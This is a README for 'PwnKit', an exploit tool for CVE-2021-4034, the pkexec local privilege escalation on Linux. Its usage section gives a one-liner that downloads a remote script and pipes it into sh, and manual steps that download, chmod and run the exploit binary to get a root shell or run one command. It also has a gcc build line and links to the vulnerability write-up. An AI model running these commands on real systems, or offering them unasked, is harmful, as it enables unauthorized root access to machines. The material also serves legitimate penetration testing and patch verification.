PwnKit/README.md
Oliver Lyak ly4k cdf274ce18 updated readme
2022-01-27 20:57:14 +01:00

44 lines
969 B
Markdown

# PwnKit
Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
## Usage
Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.
```bash
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
```
![](./imgs/oneliner.png)
### Manually
```bash
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command
```
![](./imgs/exploit.png)
### Patched
Running the exploit against patched versions will yield the following output.
![](./imgs/patched.png)
### Build
```bash
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
```
## Technical Details
- https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
## References
- https://github.com/arthepsy/CVE-2021-4034/